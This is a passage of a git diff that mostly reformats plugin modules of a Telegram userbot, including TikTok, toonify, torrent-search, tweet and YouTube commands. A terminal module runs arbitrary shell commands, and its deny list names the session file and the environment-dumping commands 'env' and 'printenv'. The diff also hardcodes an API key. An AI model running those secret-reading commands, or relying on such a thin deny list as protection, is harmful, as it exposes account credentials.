from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!") - return + await event.edit( + "Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!" + ) + return await event.edit("Processing Your Request.") inputo = Config.SUPERHERO_API_KEY headers = { - 'x-rapidapi-key': inputo, - 'x-rapidapi-host': "superhero-search.p.rapidapi.com" - } + "x-rapidapi-key": inputo, + "x-rapidapi-host": "superhero-search.p.rapidapi.com", + } response = requests.request("GET", url, headers=headers, params=querystring) a = response.json() @@ -70,17 +63,15 @@ async def _(event): eye = str(f.get("eyeColor")) hair = str(f.get("hairColor")) bio = a.get("biography") - #Hey Kanger, Don't you dare Kamg this. + # Hey Kanger, Don't you dare Kamg this. fullName = str(bio.get("fullName")) ego = str(bio.get("alterEgos")) aliase = bio.get("aliases") sedo = "" - #Messi Is The Best. + # Messi Is The Best. for messi in aliase: - sedo += messi + " " - - + sedo += messi + " " PoB = str(bio.get("placeOfBirth")) sed = str(sedo) @@ -90,7 +81,7 @@ async def _(event): alignment = str(bio.get("alignment")) imoge = a.get("images") - res = list(imoge.keys())[3] + res = list(imoge.keys())[3] linke = str(res) link = str(imoge.get(linke)) fcb = input_str.upper() diff --git a/fridaybot/modules/superstar.py b/fridaybot/modules/superstar.py index 748d3971..ee72a7de 100644 --- a/fridaybot/modules/superstar.py +++ b/fridaybot/modules/superstar.py @@ -1,15 +1,11 @@ """command:.sr""" -from telethon import events - import asyncio - - +from telethon import events @borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) - async def _(event): if event.fwd_from: @@ -27,12 +23,11 @@ async def _(event): await event.edit(input_str) animation_chars = [ - "I Party like a rockstar", "I Look like a movie star", "I Play like an all star", "I Fuck like a pornstar", - "Baby I'm a superstar" + "Baby I'm a superstar", ] for i in animation_ttl: diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py index 827db09a..429e514e 100644 --- a/fridaybot/modules/tag.py +++ b/fridaybot/modules/tag.py @@ -19,12 +19,10 @@ from telethon.tl.types import Channel from telethon.utils import get_display_name -from fridaybot import Configs as config - NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) if Config.TAG_LOG: NEEDTOLOG = int(Config.TAG_LOG) - + if Config.TAG_LOG: @borg.on( @@ -39,19 +37,17 @@ async def all_messages_catcher(event): # appropriate PM await event.forward_to(NEEDLOG) - # construct message # the message format is stolen from @MasterTagAlertBot ammoca_message = "" - who_ = await event.client.get_entity(event.sender_id) if who_.bot or who_.verified or who_.support: return who_m = f"[{get_display_name(who_)}](tg://user?id={who_.id})" - + where_ = await event.client.get_entity(event.chat_id) where_m = get_display_name(where_) diff --git a/fridaybot/modules/terminal.py b/fridaybot/modules/terminal.py index 3d7547e6..ccdecfec 100644 --- a/fridaybot/modules/terminal.py +++ b/fridaybot/modules/terminal.py @@ -1,52 +1,54 @@ -import os import asyncio -from getpass import getuser -from os import remove -from subprocess import PIPE -from subprocess import run as runapp -import pybase64 -from sys import executable -from fridaybot import CMD_HELP, ALIVE_NAME, BOTLOG, BOTLOG_CHATID, bot -from ..utils import admin_cmd +import os + +from fridaybot import ALIVE_NAME, bot + +from ..utils import admin_cmd + DARKCOBRA = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" -import inspect running_processes: dict = {} @bot.on(admin_cmd(pattern="term(?: |$|\n)([\s\S]*)")) -async def dc(event): +async def dc(event): await event.edit(f"**{DARKCOBRA}**: `Running Terminal.....`") - message = (str(event.chat_id) + ':' + str(event.message.id)) + message = str(event.chat_id) + ":" + str(event.message.id) if running_processes.get(message, False): await event.edit("A process for this event is already running!") return - cmd = event.pattern_match.group(1).strip() + cmd = event.pattern_match.group(1).strip() if not cmd: await event.edit("``` Give a command or use .help terminal.```") return if cmd in ("userbot.session", "env", "printenv"): - return await event.edit(f"`{DARKCOBRA}:` **Privacy Error, This command not permitted**") + return await event.edit( + f"`{DARKCOBRA}:` **Privacy Error, This command not permitted**" + ) process = await asyncio.create_subprocess_shell( - cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) running_processes.update({message: process}) stdout, stderr = await process.communicate() not_killed = running_processes.get(message, False) if not_killed: - del running_processes[message] + del running_processes[message] text = f"**Terminal Command**: `{cmd}`\n**Return code**: `{process.returncode}`\n\n" - if stdout: + if stdout: text += "\n**[stdout]**\n`" + stdout.decode("UTF-8").strip() + "\n`" if stderr: - text += "\n**[stderr]**\n`" + stderr.decode('UTF-8').strip() + "\n`" + text += "\n**[stderr]**\n`" + stderr.decode("UTF-8").strip() + "\n`" if stdout or stderr: - if not len(text) > 4096: - return await event.edit(text) + if not len(text) > 4096: + return await event.edit(text) output = open("term.txt", "w+") output.write(text) output.close() - await event.client.send_file(event.chat_id, "term.txt", reply_to=event.id, caption=f"`{DARKCOBRA}:` **Output too large, sending as file**") - os.remove("term.txt") + await event.client.send_file( + event.chat_id, + "term.txt", + reply_to=event.id, + caption=f"`{DARKCOBRA}:` **Output too large, sending as file**", + ) + os.remove("term.txt") return - - diff --git a/fridaybot/modules/tiktok.py b/fridaybot/modules/tiktok.py index 20cc9eaa..3adb66ed 100644 --- a/fridaybot/modules/tiktok.py +++ b/fridaybot/modules/tiktok.py @@ -2,14 +2,12 @@ Dont edit credits """ -import datetime -import asyncio -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from telethon.tl.functions.messages import ImportChatInviteRequest +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from fridaybot import CMD_HELP + from ..utils import admin_cmd -from fridaybot import CMD_HELP + @borg.on(admin_cmd("tti ?(.*)")) async def _(event): @@ -21,23 +19,22 @@ async def _(event): return else: await event.edit("downloading your video") - bot = "@HK_tiktok_BOT" - + async with borg.conversation("@HK_tiktok_BOT") as conv: - try: - await conv.send_message(d_link) - cat1 = await conv.get_response() - details = await conv.get_response() - if details.text.startswith("Sorry"): - await borg.send_message(event.chat_id , "sorry . something went wrong" ) - return - cat2 = await conv.get_response() - cat3 = await conv.get_response() - await borg.send_file(event.chat_id, details, caption = details.text) - await event.delete() - except YouBlockedUserError: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + await conv.get_response() + await conv.get_response() + await borg.send_file(event.chat_id, details, caption=details.text) + await event.delete() + except YouBlockedUserError: await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") - + @borg.on(admin_cmd("ttv ?(.*)")) async def _(event): @@ -49,23 +46,22 @@ async def _(event): return else: await event.edit("doownloading your video") - bot = "@HK_tiktok_BOT" - + async with borg.conversation("@HK_tiktok_BOT") as conv: - try: - await conv.send_message(d_link) - cat1 = await conv.get_response() - details = await conv.get_response() - if details.text.startswith("Sorry"): - await borg.send_message(event.chat_id , "sorry . something went wrong" ) - return - cat2 = await conv.get_response() - cat3 = await conv.get_response() - await borg.send_file(event.chat_id, cat3) - await event.delete() - except YouBlockedUserError: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + await conv.get_response() + cat3 = await conv.get_response() + await borg.send_file(event.chat_id, cat3) + await event.delete() + except YouBlockedUserError: await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") - + @borg.on(admin_cmd("wttv ?(.*)")) async def _(event): @@ -77,30 +73,31 @@ async def _(event): return else: await event.edit("doownloading your video") - bot = "@HK_tiktok_BOT" - + async with borg.conversation("@HK_tiktok_BOT") as conv: - try: - await conv.send_message(d_link) - cat1 = await conv.get_response() - details = await conv.get_response() - if details.text.startswith("Sorry"): - await borg.send_message(event.chat_id , "sorry . something went wrong" ) - return - cat2 = await conv.get_response() - cat3 = await conv.get_response() - await borg.send_file(event.chat_id, cat2) - await event.delete() - except YouBlockedUserError: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + cat2 = await conv.get_response() + await conv.get_response() + await borg.send_file(event.chat_id, cat2) + await event.delete() + except YouBlockedUserError: await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") - - -CMD_HELP.update({"tiktok": "`.tti` :\ + +CMD_HELP.update( + { + "tiktok": "`.tti` :\ \nUSAGE: Shows you the information of the given tiktok video link.\ \n\n `.ttv `\ \nUSAGE: Sends you the tiktok video of the given link without watermark\ \n\n `.wttv `\ \n\nUSAGE: Sends you the tiktok video of the given link with watermark\ " -}) + } +) diff --git a/fridaybot/modules/toonify.py b/fridaybot/modules/toonify.py index c323cbb1..2268a0c1 100644 --- a/fridaybot/modules/toonify.py +++ b/fridaybot/modules/toonify.py @@ -3,58 +3,57 @@ # Made for DARK COBRA by team Cobra.. # kang with credits do not edit these lines.. -from telethon.tl.types import MessageMediaPhoto -import os, urllib, requests, asyncio -from ..utils import admin_cmd +import os + +import requests + from fridaybot import CMD_HELP +from ..utils import admin_cmd + DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" + + @borg.on(admin_cmd(pattern="toonify$", outgoing=True)) async def _(event): - - + reply = await event.get_reply_message() - if not reply:#By @Danish_00 -#Fixed By a NOOB - return await event.edit( - "Reply to any image or non animated sticker !" - ) + if not reply: # By @Danish_00 + # Fixed By a NOOB + return await event.edit("Reply to any image or non animated sticker !") devent = await event.edit("`Downloading the file😅😁😁....`") media = await event.client.download_media(reply) if not media.endswith(("png", "jpg", "webp")): return await event.edit( - "Reply to any image or non animated sticker !" - )#By @Danish_00 -#Fixed By a NOOB - devent = await event.edit("`Toonifying image 🤪🤣🤓...`")#hehehhehehhe + "Reply to any image or non animated sticker !" + ) # By @Danish_00 + # Fixed By a NOOB + devent = await event.edit("`Toonifying image 🤪🤣🤓...`") # hehehhehehhe r = requests.post( "https://api.deepai.org/api/toonify", files={ "image": open(media, "rb"), }, headers={"api-key": DARKCOBRA}, - )#By @Danish_00 -#Fixed By a NOOB + ) # By @Danish_00 + # Fixed By a NOOB os.remove(media) if "status" in r.json(): - return await devent.edit( r.json()["status"]) + return await devent.edit(r.json()["status"]) r_json = r.json()["output_url"] pic_id = r.json()["id"] - + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" result = f"{r_json}" - + await devent.delete() - await borg.send_message(#hehehhehehehehheh - event.chat_id, - file=result - ) + await borg.send_message(event.chat_id, file=result) # hehehhehehehehheh -#hehehehehe +# hehehehehe CMD_HELP.update( { - "toonify": - ".toonify " - "\nIt Toonify the face 🤣😂 `(Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)`" - }) + "toonify": ".toonify " + "\nIt Toonify the face 🤣😂 `(Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)`" + } +) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index 2954c2e6..5e11796c 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -9,8 +9,10 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup as bs + from fridaybot import CMD_HELP -from ..utils import humanbytes, admin_cmd + +from ..utils import admin_cmd, humanbytes def dogbin(magnets): diff --git a/fridaybot/modules/torrentz.py b/fridaybot/modules/torrentz.py index 9efd1f54..eccdc580 100644 --- a/fridaybot/modules/torrentz.py +++ b/fridaybot/modules/torrentz.py @@ -1,15 +1,17 @@ """ command: .movie torrentz2.eu|idop.se """ +from datetime import datetime + import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests -from datetime import datetime from bs4 import BeautifulSoup + from ..utils import admin_cmd, humanbytes -@borg.on(admin_cmd( # pylint:disable=E0602 - pattern="movie (torrentz2\.eu|idop\.se) (.*)" -)) +@borg.on( + admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 +) async def _(event): if event.fwd_from: return @@ -28,11 +30,20 @@ async def _(event): for result in search_results: if i > 10: break - message_text = "👉 " + result["title"] + ": " + "" + " \r\n" + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) message_text += " FILE SIZE: " + result["size"] + "\r\n" # message_text += " Uploaded " + result["date"] + "\r\n" - message_text += " SEEDS: " + \ - result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + message_text += ( + " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) message_text += "===\r\n" output_str += message_text i = i + 1 @@ -41,7 +52,7 @@ async def _(event): await event.edit( f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", link_preview=False, - parse_mode="html" + parse_mode="html", ) @@ -51,21 +62,22 @@ def search_idop_se(search_query): raw_json = requests.get(url).json() results = raw_json["result"]["items"] for item in results: - """ The content scrapped on 24.09.2018 22:56:45 - """ + """The content scrapped on 24.09.2018 22:56:45""" title = item["name"] hash = item["info_hash"] age = item["create_time"] size = item["length"] seeds = str(item["seeds"]) - r.append({ - "title": title, - "hash": hash, - "age": age, - "size": humanbytes(size), - "seeds": seeds, - "peers": "NA" - }) + r.append( + { + "title": title, + "hash": hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) return r @@ -82,8 +94,7 @@ def search_torrentz_eu(search_query): results = results[0] for item in results.find_all("dl"): # print(item) - """The content scrapped on 23.06.2018 15:40:35 - """ + """The content scrapped on 23.06.2018 15:40:35""" dt = item.find_all("dt")[0] dd = item.find_all("dd")[0] # @@ -97,14 +108,16 @@ def search_torrentz_eu(search_query): seeds = span_elements[3].get_text() peers = span_elements[4].get_text() # - r.append({ - "title": title, - "hash": link, - "date": date, - "size": size, - "seeds": seeds, - "peers": peers - }) + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) except: pass return r diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 2d610829..2b00c13d 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -15,16 +15,18 @@ import base64 import os -import requests +import requests +from PIL import Image from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get -import PIL.ImageOps -from PIL import Image, ImageDraw, ImageFont +from validators.url import url + from fridaybot import * from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd, edit_or_reply -from validators.url import url + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + async def trap(text1, text2, text3): r = requests.get( @@ -42,6 +44,7 @@ async def trap(text1, text2, text3): img.save("temp.jpg", "jpeg") return "temp.jpg" + async def trash(text): r = requests.get(f"https://nekobot.xyz/api/imagegen?type=trash&url={text}").json() sandy = r.get("message") @@ -89,7 +92,6 @@ async def phcomment(text1, text2, text3): return "temp.jpg" - @bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): @@ -192,7 +194,7 @@ async def catbot(catmemes): @bot.on(sudo_cmd(pattern="ttrap(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) - + if "|" in input_str: text1, text2 = input_str.split("|") else: @@ -251,7 +253,7 @@ async def catbot(catmemes): @bot.on(sudo_cmd(pattern="tphub(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) - + if "|" in input_str: username, text = input_str.split("|") else: diff --git a/fridaybot/modules/tweet.py b/fridaybot/modules/tweet.py index 2d2a0d79..7e6c06ec 100644 --- a/fridaybot/modules/tweet.py +++ b/fridaybot/modules/tweet.py @@ -1,21 +1,20 @@ import os +import random import re + import requests +from PIL import Image from validators.url import url -from asyncio import sleep -from random import choice, getrandbits, randint -import random -import time -from telethon import events -from fridaybot import bot -from collections import deque -import sys -import html -import json -from PIL import Image, ImageEnhance, ImageOps + from fridaybot import CMD_HELP, bot -from fridaybot.events import register -from fridaybot.tweet import moditweet, johnnytweet, sunnytweet, bhautweet, jtweet, miatweet +from fridaybot.tweet import ( + bhautweet, + johnnytweet, + jtweet, + miatweet, + moditweet, + sunnytweet, +) from fridaybot.utils import admin_cmd EMOJI_PATTERN = re.compile( @@ -70,11 +69,6 @@ async def changemymind(text): return "gpx.webp" - - - - - async def tweets(text1, text2): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text1}&username={text2}" @@ -98,7 +92,7 @@ async def purge(): pass -#@register(outgoing=True, pattern=r"^\.trump(?: |$)(.*)") +# @register(outgoing=True, pattern=r"^\.trump(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="trump ?(.*)")) async def trump(event): text = event.pattern_match.group(1) @@ -119,9 +113,9 @@ async def trump(event): await event.delete() await purge() -#@register(outgoing=True, pattern=r"^\.johnny(?: |$)(.*)") -@borg.on(admin_cmd(outgoing=True, pattern="johnny ?(.*)")) +# @register(outgoing=True, pattern=r"^\.johnny(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="johnny ?(.*)")) async def johnny(event): text = event.pattern_match.group(1) text = re.sub("&", "", text) @@ -141,7 +135,8 @@ async def johnny(event): await event.delete() await purge() -#@register(outgoing=True, pattern=r"^\.bhau(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"^\.bhau(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="bhau ?(.*)")) async def bhau(event): text = event.pattern_match.group(1) @@ -163,7 +158,7 @@ async def bhau(event): await purge() -#@register(outgoing=True, pattern=r"^\.sunny(?: |$)(.*)") +# @register(outgoing=True, pattern=r"^\.sunny(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="sunny ?(.*)")) async def sunny(event): text = event.pattern_match.group(1) @@ -184,7 +179,8 @@ async def sunny(event): await event.delete() await purge() -#@register(outgoing=True, pattern=r"^\.joker(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"^\.joker(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="joker ?(.*)")) async def j(event): text = event.pattern_match.group(1) @@ -205,7 +201,8 @@ async def j(event): await event.delete() await purge() -#@register(outgoing=True, pattern=r"^\.modi(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"^\.modi(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="modi ?(.*)")) async def modi(event): text = event.pattern_match.group(1) @@ -226,9 +223,8 @@ async def modi(event): await event.delete() await purge() - - -#@register(outgoing=True, pattern=r"^\.mia(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"^\.mia(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="mia ?(.*)")) async def mia(event): text = event.pattern_match.group(1) @@ -249,7 +245,8 @@ async def mia(event): await event.delete() await purge() -#@register(outgoing=True, pattern=r"^\.cmm(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"^\.cmm(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="cmm ?(.*)")) async def cmm(event): text = event.pattern_match.group(1) @@ -271,12 +268,11 @@ async def cmm(event): await purge() - -#@register(outgoing=True, pattern="^.type(?: |$)(.*)") +# @register(outgoing=True, pattern="^.type(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="type ?(.*)")) async def type(animu): -#"""Generate random waifu sticker with the text!""" - + # """Generate random waifu sticker with the text!""" + text = animu.pattern_match.group(1) if not text: if animu.is_reply: @@ -284,21 +280,48 @@ async def type(animu): else: await animu.answer("`No text given.`") return - animus = [1, 2, 3, 4, 5, 6, 8, 7, 10, 11, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53] + animus = [ + 1, + 2, + 3, + 4, + 5, + 6, + 8, + 7, + 10, + 11, + 13, + 22, + 34, + 35, + 36, + 37, + 43, + 44, + 45, + 52, + 53, + ] sticcers = await bot.inline_query( - "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}") - await sticcers[0].click(animu.chat_id, - reply_to=animu.reply_to_msg_id, - silent=True if animu.is_reply else False, - hide_via=True) + "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}" + ) + await sticcers[0].click( + animu.chat_id, + reply_to=animu.reply_to_msg_id, + silent=True if animu.is_reply else False, + hide_via=True, + ) await animu.delete() -#@register(outgoing=True, pattern="^.waifu(?: |$)(.*)") + +# @register(outgoing=True, pattern="^.waifu(?: |$)(.*)") + @borg.on(admin_cmd(outgoing=True, pattern="waifu ?(.*)")) async def waifu(danish): -#"""Generate random waifu sticker with the text!""" - + # """Generate random waifu sticker with the text!""" + text = danish.pattern_match.group(1) if not text: if danish.is_reply: @@ -306,17 +329,20 @@ async def waifu(danish): else: await danish.answer("`No text given.`") return - king = [ 32, 33, 37, 40, 41, 42, 58, 20] + king = [32, 33, 37, 40, 41, 42, 58, 20] sticcers = await bot.inline_query( - "stickerizerbot", f"#{random.choice(king)}{(deEmojify(text))}") - await sticcers[0].click(danish.chat_id, - reply_to=danish.reply_to_msg_id, - silent=True if danish.is_reply else False, - hide_via=True) + "stickerizerbot", f"#{random.choice(king)}{(deEmojify(text))}" + ) + await sticcers[0].click( + danish.chat_id, + reply_to=danish.reply_to_msg_id, + silent=True if danish.is_reply else False, + hide_via=True, + ) await danish.delete() - -#@register(outgoing=True, pattern=r"\.tweet(?: |$)(.*)") + +# @register(outgoing=True, pattern=r"\.tweet(?: |$)(.*)") @borg.on(admin_cmd(outgoing=True, pattern="tweet ?(.*)")) async def tweet(event): text = event.pattern_match.group(1) @@ -348,7 +374,7 @@ async def tweet(event): @borg.on(admin_cmd(pattern="tweetme(?: |$)(.*)")) async def tweetme(okie): -#"""Creates random anime sticker!""" + # """Creates random anime sticker!""" what = okie.pattern_match.group(1) if not what: if okie.is_reply: @@ -356,16 +382,18 @@ async def tweetme(okie): else: await okie.edit("`Tweets must contain some text, pero!`") return - sticcers = await bot.inline_query( - "TwitterStatusBot", f"{(deEmojify(what))}") - await sticcers[0].click(okie.chat_id, - reply_to=okie.reply_to_msg_id, - silent=True if okie.is_reply else False, - hide_via=True) + sticcers = await bot.inline_query("TwitterStatusBot", f"{(deEmojify(what))}") + await sticcers[0].click( + okie.chat_id, + reply_to=okie.reply_to_msg_id, + silent=True if okie.is_reply else False, + hide_via=True, + ) await okie.delete() -CMD_HELP.update({ - + +CMD_HELP.update( + { "tweet": ".tweet ." "\nUsage Create tweet with custom username.\n\n" ".trump " diff --git a/fridaybot/modules/utube.py b/fridaybot/modules/utube.py index 3cd51a25..26026b8b 100644 --- a/fridaybot/modules/utube.py +++ b/fridaybot/modules/utube.py @@ -5,15 +5,14 @@ # So wahi...Enjoy -import re -import random -from fridaybot import bot, CMD_HELP import asyncio -import os -from pathlib import Path +import re + from telethon.errors.rpcerrorlist import YouBlockedUserError -from ..utils import admin_cmd, edit_or_reply +from fridaybot import CMD_HELP, bot + +from ..utils import admin_cmd, edit_or_reply IF_EMOJI = re.compile( "[" @@ -27,70 +26,65 @@ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs "\U0001FA00-\U0001FA6F" # Chess Symbols "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A - "\U00002702-\U000027B0" # Dingbats - "]+") + "\U00002702-\U000027B0" # Dingbats + "]+" +) + def deEmojify(inputString: str) -> str: """Remove emojis and other non-safe characters from string""" - return re.sub(IF_EMOJI, '', inputString) + return re.sub(IF_EMOJI, "", inputString) @borg.on(admin_cmd(pattern="utv ?(.*)")) - async def nope(doit): ok = doit.pattern_match.group(1) if not ok: if doit.is_reply: - what = (await doit.get_reply_message()).message + (await doit.get_reply_message()).message else: await doit.edit("`Please give some query to search..!`") return - sticcers = await bot.inline_query( - "vid", f"{(deEmojify(ok))}") - await sticcers[0].click(doit.chat_id, - reply_to=doit.reply_to_msg_id, - silent=True if doit.is_reply else False, - hide_via=True) + sticcers = await bot.inline_query("vid", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) await doit.delete() - - - - # Social Distancing.. - - - - - @borg.on(admin_cmd(pattern="uta ?(.*)")) - async def nope(doit): ok = doit.pattern_match.group(1) if not ok: if doit.is_reply: - what = (await doit.get_reply_message()).message + (await doit.get_reply_message()).message else: - await doit.edit("`Sir please give some query to search and download it for you..!`") + await doit.edit( + "`Sir please give some query to search and download it for you..!`" + ) return - sticcers = await bot.inline_query( - "Lybot", f"{(deEmojify(ok))}") - await sticcers[0].click(doit.chat_id, - reply_to=doit.reply_to_msg_id, - silent=True if doit.is_reply else False, - hide_via=True) + sticcers = await bot.inline_query("Lybot", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) await doit.delete() - SEARCH_STRING = "Ok weit, searching...." NOT_FOUND_STRING = "Sorry !I am unable to find any results to your query" SENDING_STRING = "Ok I found something related to that....." BOT_BLOCKED_STRING = "Please unblock @utubebot and try again" + @bot.on(admin_cmd(pattern="ut ?(.*)")) async def fetcher(event): if event.fwd_from: @@ -108,9 +102,7 @@ async def fetcher(event): await asyncio.sleep(0.1) ok = await event.client.get_messages(chat, ids=ok.id) baka = await event.client.get_messages(chat) - if baka[0].message.startswith( - ("Sorry I found nothing..") - ): + if baka[0].message.startswith(("Sorry I found nothing..")): await delete_messages(event, chat, purgeflag) return await edit_delete( event, NOT_FOUND_STRING, parse_mode="html", time=5 diff --git a/fridaybot/modules/vsong.py b/fridaybot/modules/vsong.py index 97037ce8..5fd19142 100644 --- a/fridaybot/modules/vsong.py +++ b/fridaybot/modules/vsong.py @@ -1,30 +1,37 @@ # Plugin made by @hellboi_atul and bug fixes By Shivam Patel(Team Cobra) # Give credits... Dont remove or edit these lines -# uses ytdl +# uses ytdl # DARK COBRA Userbots plugin # reconfigured for Virtual userbot.. +import asyncio +import json +import math import os import time -import math -import asyncio, json -from youtube_dl import YoutubeDL -from pySmartDL import SmartDL -from fridaybot.utils import progress -from youtube_dl.utils import (DownloadError, ContentTooShortError, - ExtractorError, GeoRestrictedError, - MaxDownloadsReached, PostProcessingError, - UnavailableVideoError, XAttrMetadataError) -from asyncio import sleep + from telethon.tl.types import DocumentAttributeAudio from uniborg.util import admin_cmd +from youtube_dl import YoutubeDL +from youtube_dl.utils import ( + ContentTooShortError, + DownloadError, + ExtractorError, + GeoRestrictedError, + MaxDownloadsReached, + PostProcessingError, + UnavailableVideoError, + XAttrMetadataError, +) +from fridaybot.utils import progress try: - from youtubesearchpython import SearchVideos + from youtubesearchpython import SearchVideos except: - os.system("pip install pip install youtube-search-python") - from youtubesearchpython import SearchVideos + os.system("pip install pip install youtube-search-python") + from youtubesearchpython import SearchVideos + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" @@ -37,18 +44,17 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): time_to_completion = round((total - current) / speed) * 1000 estimated_total_time = elapsed_time + time_to_completion progress_str = "{0}{1} {2}%\n".format( - ''.join(["▰" for i in range(math.floor(percentage / 10))]), - ''.join(["▱" for i in range(10 - math.floor(percentage / 10))]), - round(percentage, 2)) - tmp = progress_str + \ - "{0} of {1}\nETA: {2}".format( - humanbytes(current), - humanbytes(total), - time_formatter(estimated_total_time) - ) + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) if file_name: - await event.edit("{}\nFile Name: `{}`\n{}".format( - type_of_ps, file_name, tmp)) + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) else: await event.edit("{}\n{}".format(type_of_ps, tmp)) @@ -60,7 +66,7 @@ def humanbytes(size): if not size: return "" # 2 ** 10 = 1024 - power = 2**10 + power = 2 ** 10 raised_to_pow = 0 dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} while size > power: @@ -76,60 +82,53 @@ def time_formatter(milliseconds: int) -> str: minutes, seconds = divmod(seconds, 60) hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) - tmp = ((str(days) + " day(s), ") if days else "") + \ - ((str(hours) + " hour(s), ") if hours else "") + \ - ((str(minutes) + " minute(s), ") if minutes else "") + \ - ((str(seconds) + " second(s), ") if seconds else "") + \ - ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) return tmp[:-2] - @borg.on(admin_cmd(pattern="vsong (.*)")) -async def download_video(v_url): - pro = v_url ; sender = await pro.get_sender() ; me = await pro.client.get_me() +async def download_video(v_url): + pro = v_url + sender = await pro.get_sender() + me = await pro.client.get_me() pro1 = v_url.text if not sender.id == me.id: dc = await pro.reply("`processing, please weit...`") else: - dc = await pro.edit("`processing, please weit...😍`") + dc = await pro.edit("`processing, please weit...😍`") teamcobra = pro1[8:] if not teamcobra: - return await dc.edit("`Error \nusage vsong `") - search = SearchVideos(teamcobra, offset = 1, mode = "json", max_results = 1) + return await dc.edit("`Error \nusage vsong `") + search = 